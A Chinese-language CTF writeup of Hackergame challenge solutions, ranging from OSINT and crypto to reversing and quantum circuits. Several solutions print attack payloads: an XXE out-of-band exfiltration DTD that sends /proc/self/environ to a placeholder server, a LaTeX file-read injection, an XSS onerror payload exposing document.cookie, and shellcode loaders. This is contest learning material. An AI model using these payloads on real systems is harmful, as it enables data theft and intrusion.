某Arch邪教徒 + Jvav程序猿第二次打HackerGame, 最后 rank 25 起码比上次强点...
本页内容包含: 一些废话(主要) + 非正经题解(次要)
p.s. 写这个的wp的时候已经凌晨3点多了, 脑子有点不转悠, 如有错误或纰漏请见谅!
先排出自己认为最令人身心愉悦和最令人痛不欲生(?)的几道题:
- 量子藏宝图: 因为我目前的方向就是量子计算相关的, 所以看到有量子计算的题还是有些心情愉悦的.
- 置换魔群: 虽然这道题花了很长时间而且第三问依赖了一些玄学办法, 但是做完之后感觉这题设计的还是挺巧妙的.
- 片上系统: 因为是 RISCV (doge)
- 猜数字: 研究了一整天 xxe 最后发现正解居然这么简单...
- 传达不到的文件: 完全无处下手 (另外就是因为我太菜了...)
- 旅行照片 2.0: 氪金玩家大有优势 (虽然不氪金也能做)
不会有人真的手画了好多遍才想起来去F12吧 (doge)
1 到 3 题没有太多技巧, 慢慢搜总能搜出来 (注意别用垃圾百度).
第 4 题去 github 的 commit history 里搜 argc 很容易就能搜出来, 当然如果你 clone 了 linux 的源码仓库可以直接 git log --all --grep='argc'
.
第 5 题直接 google 搜索 "e4:ff:65:d7:be:5d:c8:44:1d:89:6b:50:f5:50:a0:ce"
即可, 注意要加引号.
第 6 题找到相关网页用 Web Archive 回溯即可.
VSCode 直接 grep -Ri "flag{"
就可以, 对于明文 flag 这种办法屡试不爽 (doge).
第二题依旧是个谷歌题, 直接搜 "how to restore rclone password", 很容易就能找到这篇文章, 人家还贴心的给你提供了一个在线运行环境.
作为一个不懂某些玄学经典控制理论的理工男, 我觉得这道题实在是太酷了.
往往最蠢的方法是最有效率的 (doge), 直接写一段脚本做 parsing:
def solve(ss):
ss = [s.strip() for s in ss.strip().split('|')]
ss[0] = ss[0][2:]
tail = ss[-1].split('] = ')
ss[-1] = tail[0]
target = int(tail[-1])
ss = list(map(int, ss))
return ss, target
def print_code(idxs, target):
cs = ""
for idx in idxs:
cs += f"a[{idx}] = {target}"
return cs
for line in sss.strip().split('\n'):
line = line.strip()
code = ""
if line != "":
idxs, target = solve(line)
code += print_code(idxs, target)
Humanity wastes about 500 years per day on CAPTCHAs. It’s time to end this madness!
session = requests.Session()
session.get("http://202.38.93.111:10047" + tok)
resp = session.get("http://202.38.93.111:10047/xcaptcha")
text = resp.text
pattern = re.compile('\\d+\\+\\d+')
eq1, eq2, eq3 = pattern.findall(text)
session.post("http://202.38.93.111:10047/xcaptcha", data={
"captcha1": str(eval(eq1)), "captcha2": str(eval(eq2)), "captcha3": str(eval(eq3)),
}).text
题一问直接果断 exiftools
, 第二问直接果断放弃 (doge.
这是我做过最坑的 CTF 题 qwq. 上来发现有 xxe 漏洞果断构造 payload 结果发现 /proc/self/environ
每个环境变量间是用 \x00
分隔的, 研究了一整天怎么绕过判断以及怎么 encode, 最后还去读了 XMLInputFactory
的源码. 卡了一天结果发现正解居然这么简单!!!
先说错误方法 (doge):
构造 xxe 引用外部实体.
<?xml version="1.0"?>
<!DOCTYPE a [
<!ENTITY % start "<![CDATA[">
<!ENTITY % stuff SYSTEM "file:///proc/self/environ">
<!ENTITY % end "]]>">
<!ENTITY % dtd SYSTEM "http://your.server:8000/evil.dtd">
%dtd;
]>
<state><guess>0.5</guess></state>
以及 dtd 文件:
<!ENTITY % payload "<!ENTITY % send SYSTEM 'ftp://your.server:443/data=%start;%stuff;%end;'>">
%payload;
%send;
这种方法在这个题里不适用的原因是在 XMLInputFactor
会对引用的外部实体做 parsing, 确保其合法, \x00
没法通过检验, 就算是用 CDATA
包起来最后 java 向你的 ftp server 发请求的时候也去检查你的 url 是否合法, 目前也没有找到合适的 filtering 或 encoding 的方法, 因此 xxe 是行不通的.
再说正解, 就三个字母: NaN
又是一个谷歌题, 慢慢搜总能找到解法
第一问直接 \include{/flag1}
第二问需要用一些魔法, 可以参考这个链接:
https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/LaTeX%20Injection
$$ \catcode `\$=12 \catcode `\#=12 \catcode `\_=12 \catcode `\&=12 \input{/flag2}
查官方文档, 最后 diff 一下就可以了
第一问没有限制权限可以在运行时读入文件, 也可以图省事用 #include
泄漏然后直接 puts 输出. 这里有个小妙招就是可以通过在 #include
前面各种花式 #define
泄漏绝大多数其他语言的代码文件 (其他文本文件就得看运气了).
#include "../data/static.out"
int main() {}
9760010330994056474520934906037798583967354072331648925679551350152225627627480095828056866209615240305792136810717998501360021210258189625550663046239919
int x =
#include "../data/static.out"
int main() {}
10684702576155937335553595920566407462823007338655463309766538118799757703957743543601066745298528907374149501878689338178500355437330403123549617205342471
第二问没做出来, 但猜测也是利用 #include
在编译期直接把数据编译进代码里, 但具体怎么做还没想到. (写这篇 wp 的时候比赛还没结束, 看不到官方给的思路).
没有画过板子, 现下了一个 linux 也能用的 KiCad, 只显示最下面一层改成显示边框模式就可以看到了.
Windows 逆向题用 Kali 开 wine 跑 IDA Pro 老传统了 (doge).
先找到 sub_401510
这个函数, 发现 flag 被存到了 Box
指针中, 而给 Box
的函数赋值的函数张这样:
char *sub_401F8A()
{
char *Destination; // [esp+18h] [ebp-10h]
((void (*)(void))loc_401C1A)();
sub_401EB8();
sub_408290(&unk_40A1A5, (char)&Source);
Destination = (char *)malloc(0x2Bu);
strncpy(Destination, &Source, 0x2Bu);
return Destination;
}
sub_401EB8
和 sub_408290
中都没有什么东西, 可以确定核心逻辑在 loc_401C1A
这个函数中. 但出题人似乎对这个函数做了手脚, 使得 IDA 的 f5 会失效 (Binary Ninja 好一些, 但也没法完全分析对).
这时候干脆就别静态分析了, 直接 attach 一个 process 劫持执行流到下图中的第 21 行就可以了, 然后你就会惊喜的同级目录下发现多了一个文件, 点开一看, 嘶... flag{Y0u_rea1ly_kn0w_Win32API_89ab91ac0c}
这道题最大的难点在于由 JavaScript 在渲染页面时嵌入网页的 <script>
标签中的代码不会被执行, 但如果是个 <img>
标签的话, 其中的 onload
和 onerror
方法依旧会在图片加载出来或加载失败的时候被执行, 因此直接嵌入一个带 onerror
方法的 <img>
就可以了.
:<img src=1 onerror="document.querySelector('#score').innerHTML=document.cookie"/>
另外值得注意的一点就算如果你在用浏览器做题 (因为用脚本做的人肯定不会忘), 请注意要手动对 base64 编码的内容进行 url encode, 我也不知道什么时候开始以为 firefox 的地址栏会自动 encode url, 导致一直 Internal Server Fault...
又双叒叕是一个谷歌题, 找到这个 repo 之后直接用 shellcraft 构造 linux 原生的 shellcode 替换掉原来的 shellcode 就行了. 两小题的做法完全一样.
from pwn import *
context.arch = 'amd64'
shellcode = asm(shellcraft.amd64.cat('/flag1'))
_ = [print(f"{hex(byte)}, ", end="") for byte in shellcode]
#include <windows.h>
#include <stdio.h>
const unsigned char LINUX_SHELL_CODE[] = {
0x48, 0xb8, 0x1, 0x1, 0x1, 0x1, 0x1, 0x1,
0x1, 0x1, 0x50, 0x48, 0xb8, 0x2e, 0x67, 0x6d,
0x60, 0x66, 0x30, 0x1, 0x1, 0x48, 0x31, 0x4,
0x24, 0x6a, 0x2, 0x58, 0x48, 0x89, 0xe7, 0x31,
0xf6, 0xf, 0x5, 0x41, 0xba, 0xff, 0xff, 0xff,
0x7f, 0x48, 0x89, 0xc6, 0x6a, 0x28, 0x58, 0x6a,
0x1, 0x5f, 0x99, 0xf, 0x5
};
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd)
{
LPVOID execBuffer = VirtualAlloc(NULL, sizeof(LINUX_SHELL_CODE), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
void (*pcode)() = (void(*)()) execBuffer;
memcpy(execBuffer, LINUX_SHELL_CODE, sizeof(LINUX_SHELL_CODE));
pcode();
return 0;
}
from pwn import *
context.arch = 'amd64'
shellcode = asm(shellcraft.amd64.execve('/flag1'))
_ = [print(f"{hex(byte)}, ", end="") for byte in shellcode]
#include <windows.h>
#include <stdio.h>
const unsigned char LINUX_SHELL_CODE[] = {
0x6a, 0x67, 0x48, 0xb8, 0x2f, 0x72, 0x65, 0x61,
0x64, 0x66, 0x6c, 0x61, 0x50, 0x48, 0x89, 0xe7,
0x31, 0xd2, 0x31, 0xf6, 0x6a, 0x3b, 0x58, 0xf,
0x5
};
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd)
{
LPVOID execBuffer = VirtualAlloc(NULL, sizeof(LINUX_SHELL_CODE), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
void (*pcode)() = (void(*)()) execBuffer;
memcpy(execBuffer, LINUX_SHELL_CODE, sizeof(LINUX_SHELL_CODE));
pcode();
return 0;
}
又到了 IOer 最喜欢的暴力打表环节!
分析题目, 发现 srand
的参数变动范围有限, 直接根据当前时间打一个 10000 行左右的表, 根据前两个数去表中查找后三个即可.
#include <stdio.h>
#include <stdlib.h>
#include <time.h>
const int N = 400000;
double calc_pi()
{
int M = 0;
for (int j = 0; j < N; j++) {
double x = (double) rand() / RAND_MAX;
double y = (double) rand() / RAND_MAX;
if (x * x + y * y < 1) { M++; }
}
return (double) M / N * 4;
}
int main()
{
unsigned base = time(0);
unsigned target = base + 30000;
for (unsigned seed = base; seed < target; seed++) {
srand(seed);
double pis[5];
printf("%u: ", seed);
for (int i = 0; i < 5; i++) {
pis[i] = calc_pi();
printf("%1.5lf, ", pis[i]);
}
printf("\n");
}
}
第一问是个阅读理解题, 读懂了就有分, 读不懂就没分. 做法就算暴力撞 hash.
from hashlib import sha384
from operator import contains
def check_if(secret):
hash = sha384(secret.encode()).hexdigest()
if contains(hash, 'd1325d'):
print(f'{secret} :: \n {hash}')
for s in range(29):
for t in range(29 - s):
for c1 in range(29 - s - t):
for d in range(29 - s - t - c1):
for c2 in range(29 - s - t - c1 - d):
rest = 28 - s - t - c1 - d - c2
base1 = "us" + ('s' * s) + "t" + ('t' * t) + "c" + ('c' * c1)
base2 = ".ed" + ('d' * d) + "u.c" + ('c' * c2) + "n"
case1 = base1 + base2 + 'n' * rest
check_if(case1)
rest -= 1
if rest < 0: continue
case2 = base1 + 'e' + base2 + 'n' * rest
case3 = base1 + base2+ 'n' * rest + 'e'
check_if(case2)
check_if(case3)
rest -= 1
if rest < 0: continue
case4 = base1 + 'e' + base2 + 'n' * rest + 'e'
check_if(case4)
根据 RSA 算法的原理, 有:
$$
\begin{aligned}
& c = m^e \
& m = c^d = m^{ed} \
\end{aligned}
$$
由于置换群内的元素符合结合律, 因此需要求一个整数
根据
根据置换的轮换分解, 一个置换群中任意非幺元元素可以在不计顺序意义下唯一地分解为不交轮换之积 (证明请参考知乎文章).
不难发现, 一个置换的周期就是其分解出的所有轮换周期的最小公倍数, 这样就可以在
然后我们可以通过 exgcd 求出
from typing import *
from math import factorial, gcd
from permutation_group import PermutationElement, PermutationGroup
def lcm(a, b):
return (a * b) // gcd(a, b)
def exgcd(a: int, b: int, arr: List[int]) -> int:
if b == 0:
arr[0] = 1
arr[1] = 0
return a
g = exgcd(b, a % b, arr)
t = arr[0]
arr[0] = arr[1]
arr[1] = t - int(a / b) * arr[1]
return g
def inv(a: int, n: int) -> int:
arr = [0, 1]
gcd = exgcd(a, n, arr)
if gcd == 1:
return (arr[0] % n + n) % n
else:
return -1
def get_interval(e: PermutationElement) -> int:
interval = 1
for length in [len(t) for t in e.standard_tuple]:
interval = lcm(interval, length)
return interval
def decrypt(cipher: PermutationElement, e = 65537) -> PermutationElement:
interval = get_interval(cipher)
d = inv(e, interval)
return cipher ** d
离散对数的底不能为幺元 (参照实数域上对数的底不能为 1):
思路是先单独考虑轮换的情况, 因为一个轮换中的元素不可能在运算过程中跑到其他, 求出这个置换里每个轮换需要变换的步数之后列线性同余方程组解一下就可以了.
def dlog_decompose(target: PermutationElement, generator: PermutationElement) -> List[Tuple[int, int]]:
generator_dict: Dict[int, int] = perm_to_dict(generator)
target_dict: Dict[int, int] = perm_to_dict(target)
# List[(step, order)]
steps: List[Tuple[int, int]] = list()
for cycle in generator.standard_tuple:
if len(cycle) == 1: continue
step = 0
elem = cycle[0] # pick an arbitrary element in cycle
elem_idx_target = target_dict[elem]
idx_iter = generator_dict[elem] # start from the index in generator
while idx_iter != elem_idx_target:
idx_iter = generator_dict[idx_iter]
step += 1
# the order (interval) of a cycle is the length of it
steps.append((step, len(cycle)))
return steps
def solve_congruence_eqs(args: List[Tuple[int, int]]) -> int:
from functools import reduce
# a_i * x = m_i
# a_i = args[i][0], m_i = args[i][1]
def merge_eqs(arg1: Tuple[int, int], arg2: Tuple[int, int]) -> Tuple[int, int]:
a1, m1 = arg1
a2, m2 = arg2
d = gcd(m1, m2)
if (a2 - a1) % d != 0:
raise Exception('No solution')
l1, l2 = exgcd(m1 // d, m2 // d)
return (a1 + (a2 - a1) // d * l1 * m1) % lcm(m1, m2), lcm(m1, m2)
return reduce(merge_eqs, args)[0]
def discrete_logarithm(element: PermutationElement, base: PermutationElement) -> Optional[int]:
try:
congruence_eqs: List[Tuple[int, int]] = dlog_decompose(element, base)
return solve_congruence_eqs(congruence_eqs) + 1
except:
return None
由于一个置换的阶等于所有组成它的轮换的长度 (轮换的阶等于其长度) 的最小公倍数. 我们设置换群
若对于某组可行解
因此该问题可以进一步转化为: 求一组
如果你是一个 OIer, 这时或许能够敏锐地察觉到这个问题其实就是一个带路径记录的完全背包问题的变种, 可以用 DP 来解. 设
这里单独列出 dp 部分的参考代码:
def max_order(n: int, primes: List[int] = None) -> int:
if primes is None:
primes = primerange(1, n)
dp: NDArray = np.ones((len(primes), n + 1), dtype='object')
max_k: int = int(log2(n))
for i, prime in enumerate(primes):
for j in range(n + 1):
if i == 0 and prime == 2:
dp[i][j] = 0 if j < 2 else 2 ** int(log2(j))
continue
if j < prime:
dp[i][j] = dp[i - 1][j]
continue
for k in range(1, max_k + 1):
value: int = prime ** k
if j - value >= 0:
dp[i][j] = max(dp[i - 1][j], dp[i - 1][j - value] * value)
return dp[len(primes) - 1][n]
解出完这个 dp 之后就可以顺利得到该置换群上的最大阶元素的阶, 对阶数进行质因数分解就可以得到组成具体的最大阶元素的各个轮换的长度, 有了轮换长度就可以构造出所有同构的最大阶元素, 并且如果最后长度为 1 的最大阶元素数量大于 1, 则可以构造出不同构的最大阶元素.
这道题并不是让我们求最大阶元素, 而是要求构造两个置换求一个比最大阶还大的离散对数!
不难想到, 构造的这两个置换一定是不同构的而且阶数都很大, 这样我们就可以通过使用第二问的方法求出两个解, 再用这两个阶列出两个线性同余方程, 解出来就有可能是最终答案. (当然如果答案没有设置 upperbound 的话需要用不止两个不同构的置换列线性同余方程组来解).
(警告: 以下内容经过没有严格的数学证明且包含一些我自己都不知道怎么试出来的黑魔法, 仅仅能保证在大多数情况下算出正确的结果来, 不保证 100% 正确, 如果后续想出了更好的方法或有完备的数学证明的话会把这部分改掉)
这里我一开始尝试构造了最大阶元素和次大阶元素, 发现当答案略大于最大阶数的时候还可以解, 一旦再大一些就解不了了. 这里我大概想到了是因为这两个置换中的轮换长度有太多相同的质因数, 因此尝试将质数 shuffle 之后分成两个集合分别只用某个集合中的质数构造阶数相对大的元素, 结果确实会比之前好很多, 正确率已经可以达到 50% 了, 但还是无法达到要求 (毕竟要 15 次). 这时候我在瞎试的过程中我偶然找到了一种能够满足要求的情况 (依然是分成两个集合, 只是存在顺序问题, 如代码中所示), 正确率可以到达 80% 以上, 由于时间原因没有进一步深究, 后续有时间的话再去尝试推一下正解并改掉这部分内容. 完整代码如下, 供参考:
import numpy as np
import functools
from math import log2
from random import randint, shuffle
from numpy.typing import *
from sympy import primerange
def construct_perm_with_cycles(cycle_lengths: List[int]) -> PermutationElement:
ptr: int = 0
perm_list: List[int] = list()
for length in cycle_lengths:
for i in range(length):
perm_list.append(ptr + (i + 1) % length + 1)
ptr += length
return PermutationElement(len(perm_list), perm_list)
def max_order(n: int, primes: List[int] = None) -> int:
if primes is None:
primes = primerange(1, n)
dp: NDArray = np.ones((len(primes), n + 1), dtype='object')
max_k: int = int(log2(n))
for i, prime in enumerate(primes):
for j in range(n + 1):
if i == 0 and prime == 2:
dp[i][j] = 0 if j < 2 else 2 ** int(log2(j))
continue
if j < prime:
dp[i][j] = dp[i - 1][j]
continue
for k in range(1, max_k + 1):
value: int = prime ** k
if j - value >= 0:
dp[i][j] = max(dp[i - 1][j], dp[i - 1][j - value] * value)
return dp[len(primes) - 1][n]
@functools.cache
def perm_cycles_by_order(order: int) -> List[int]:
cycles: List[int] = list()
for prime in primes:
exponent = 0
while order % prime == 0:
order //= prime
exponent += 1
if exponent != 0:
cycles.append(prime ** exponent)
return cycles
def max_order_perm_by_primes(n: int, primes: List[int]) -> PermutationElement:
cycles: List[int] = perm_cycles_by_order(max_order(n, primes))
return construct_perm_with_cycles(cycles + [1] * (n - sum(cycles)))
def get_perm_pair(n: int) -> Tuple[PermutationElement, PermutationElement]:
primes: List[int] = list(primerange(1, n))
# BLACK MAGIC!!! DOT TOUCH THE FOLLOWING 3 LINES
shuffle(primes)
perm0: PermutationElement = max_order_perm_by_primes(n, list(set(primes[:len(primes) // 2])))
perm1: PermutationElement = max_order_perm_by_primes(n, list(set(primes[len(primes) // 2:])))
return perm0, perm1
因为之前用 GLSL 写过 Minecraft Shader 的缘故, 对这一套玩意比较熟悉了. 很容易就能发现这个 t5SDF
函数其实是画了一个矩形区域, 而且 z 轴座标还比较小, 直接改掉就可以了.
float t5SDF(vec3 p, vec3 b, float r) {
vec3 q = abs(p) - b;
return length(max(q,0.0)) + min(max(q.x,max(q.y,q.z)),0.0) - r;
}
float t1 = t1SDF(pTO.xyz);
float t2 = t2SDF((mk_trans(-45.0, 0.0, 0.0) * pTO).xyz);
float t3 = t3SDF((mk_trans(-80.0, 0.0, 0.0) * pTO).xyz);
float t4 = t4SDF((mk_trans(-106.0, 0.0, 0.0) * pTO).xyz);
// float t5 = t5SDF(p - vec3(36.0, 10.0, 15.0), vec3(30.0, 5.0, 5.0), 2.0);
// float tmin = min(min(min(min(t1, t2), t3), t4), t5);
float tmin = min(min(min(t1, t2), t3), t4);
return tmin;
用 PulseView 切到 SPI 模式把 hex 数据 dump 下来分析即可.
根据这篇文章的描述:
读步骤主要分为两步,第一步首先发送一条指令,如果发送是CMD17,则表示是对单块进行读操作,如果是CMD18,则表示对多块进行读操作,这两条指令会返回0X00。第二步,首先接受数据开始位:fe,然后接受512Bytes数据和2Bytes的CRC校验。根据这个时序就能够完成对SD卡一个扇区或者多个扇区的读操作,而写操作是通过上位机写入,此次项目并没有用硬件实现。
在信号 dump 出的原始数据中一个扇区的数据一定以 0xfe
开头, 以 2 bytes 的 CRC 校验码结尾, 我们那第一个扇区举例, 下图中表蓝的字节就是第一个扇区的数据, 前面的 FE
是开始位, B0 E5
是校验码, 这样我们就可以如法炮制 dump 出 SD 卡的原始数据了.
SD 卡的完整数据如下, 可以直接 decode 成 binary 去分析:
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
拿到 binary 之后先用 r2 反汇编:
不难分析出第一个分区其实是个 boot sector, 负责将 "操作系统" 的代码 copy 到 0x20000
处. 后面的代码就有点群魔乱舞起来了, r2 就不是那么好使了, 我们这里用 Binary Ninja 反编译一下 (注: IDA Pro 在做这种单文件短程序逆向的时候往往不是那么好使, 这里强烈推荐比 IDA 要更方便且更加 user-friendly 的 Binary Ninja, 不过缺点是功能不如 IDA 全而且 RISCV 要装插件):
多读几遍这段反汇编的代码, 结合题目描述不难发现, 在这段代码中, 0x930000
应该是串口的映射地址, 所有写入这个地址的数据都应该会被输出到串口中去. 同时我们可以定位到输出 flag{
和 }
, 不难发现其中 sub_20018
被调用了三次:
这个函数转换成 C 语言代码是这样的:
int sub_20018(unsigned a1)
{
unsigned a2 = 0x1c;
do {
int a42 = (int) (a1 >> a2 & 0xf);
int a31 = 0x30;
if (a42 > 9) {
a31 = 0x57;
}
a31 += a42;
putchar(a31);
a2 -= 4;
} while (a2 != 0xfffffffc);
}
执行一边就会发现它的作用是以字符串形式输出参数 a1 的 hex value. 如果把 binary ninja 分析出的参数带入, 会得到一个错误的 flag. 这时候换个工具就好了:
最终拿到的 flag 是 flag{20001018feadae83000000e0}
一开始以为是个 chroot escape, 但其实是用 signal 通信, 想到了就很好处理了:
#include <signal.h>
#include <stddef.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
// compile sender: gcc a.c -DSEND --static -o sender
// compile receiver: gcc a.c -DRECV --static -o receiver
#define SIG_BIT0 SIGUSR1
#define SIG_BIT1 SIGUSR2
void send(pid_t pid, void* data, size_t len)
{
uint8_t* bytes = (uint8_t*) data;
for (int i = 0; i < len; i++) {
for (int b = 0; b < 8; b++) {
if (((bytes[i] >> b) & 1) == 0) {
kill(pid, SIG_BIT0);
} else {
kill(pid, SIG_BIT1);
}
usleep(10);
}
}
kill(pid, SIGTERM);
}
char buf[1024];
size_t bit_idx = 0;
#define SET_BIT(byte, i) (byte) |= (1 << (i))
#define WAITING while (1) continue
void recv_sigbit0()
{
bit_idx++;
}
void recv_sigbit1()
{
SET_BIT(buf[bit_idx / 8], bit_idx % 8);
bit_idx++;
}
void recv_sigterm()
{
puts(buf);
exit(0);
}
#define RECV_PID 9
int main()
{
#ifdef SEND
sleep(1);
FILE* fp = fopen("/secret", "r");
fscanf(fp, "%s", buf);
send(RECV_PID, buf, 64);
#endif
#ifdef RECV
signal(SIG_BIT0, recv_sigbit0);
signal(SIG_BIT1, recv_sigbit1);
signal(SIGTERM, recv_sigterm);
WAITING;
#endif
}
去年就在想为啥没有量子计算的题目, 这就不是中科大的专长吗, 今年这不就有了嘛 OwO
第一问是 BB84 协议的 QKD, 类似与经典密码学里的 Diffie-Hellman 密钥协商. 简单概括一下就是 Alice 和 Bob 之间有一条量子信道和一条经典信道, Alice 会生成一串
第二问是使用 Bernstein-Vazirani 算法解码一个长度为
# don't forget the auxiliary qubit (n + 1)
for i in range(n + 1):
circuit.h(i)
circuit.z(n)
circuit.barrier()
# oracle
for i in range(n):
if s[i] == '1':
circuit.cx(i, n)
circuit.barrier()
# apply hadamard after oracle
for i in range(n):
circuit.h(i)
# measurement
for i in range(n):
circuit.measure(i, i)
把游戏的代码砍的只剩算法逻辑之后大力出奇迹!
import json
class Board:
def __init__(self):
self.b = [[i*4+j for j in range(4)] for i in range(4)]
def _blkpos(self):
for i in range(4):
for j in range(4):
if self.b[i][j] == 15:
return (i, j)
def reset(self):
for i in range(4):
for j in range(4):
self.b[i][j] = i*4 + j
def move(self, moves):
for m in moves:
i, j = self._blkpos()
if m == 'L':
self.b[i][j] = self.b[i][j-1]
self.b[i][j-1] = 15
elif m == 'R':
self.b[i][j] = self.b[i][j+1]
self.b[i][j+1] = 15
elif m == 'U':
self.b[i][j] = self.b[i-1][j]
self.b[i-1][j] = 15
else:
self.b[i][j] = self.b[i+1][j]
self.b[i+1][j] = 15
def __bool__(self):
for i in range(4):
for j in range(4):
if self.b[i][j] != i*4 + j:
return True
return False
class BPApp:
board = Board()
pc = 0
def __init__(self, bitlength, branches):
self.bitlength = bitlength
self.branches = branches
self.inbits = []
def watch_pc(self, index):
self.board.reset()
for branch in self.branches[:index]:
self.board.move(branch[1] if self.inbits[branch[0]] else branch[2])
def action_reset(self):
self.pc = 0
self.watch_pc(self.pc)
def action_last(self):
self.pc = len(self.branches)
self.watch_pc(self.pc)
def action_next(self):
if self.pc < len(self.branches):
self.pc += 1
self.watch_pc(self.pc)
if __name__ == '__main__':
filename = f'b16_obf.json'
with open(filename) as f:
branches = json.load(f)
app = BPApp(bitlength=16, branches=branches)
for num in range(65536):
bits = [(num >> i) & 1 for i in range(16)]
app.action_reset()
app.inbits = bits
app.action_last()
if num % 10 == 0:
print(f'checking {num}')
if app.board:
print(num, bits, end='\n')
exit(0)
既然题目中都提到 bindiff 了, 那显然不是用 bindiff (doge).
第一问这种小的 ELF 文件用 Binary Ninja 最好使, 肉眼看几遍就出来了.
第二问感觉跟去年超 OI 的 Writeup 模拟器做法类似, 但没时间了, 就直接放掉了.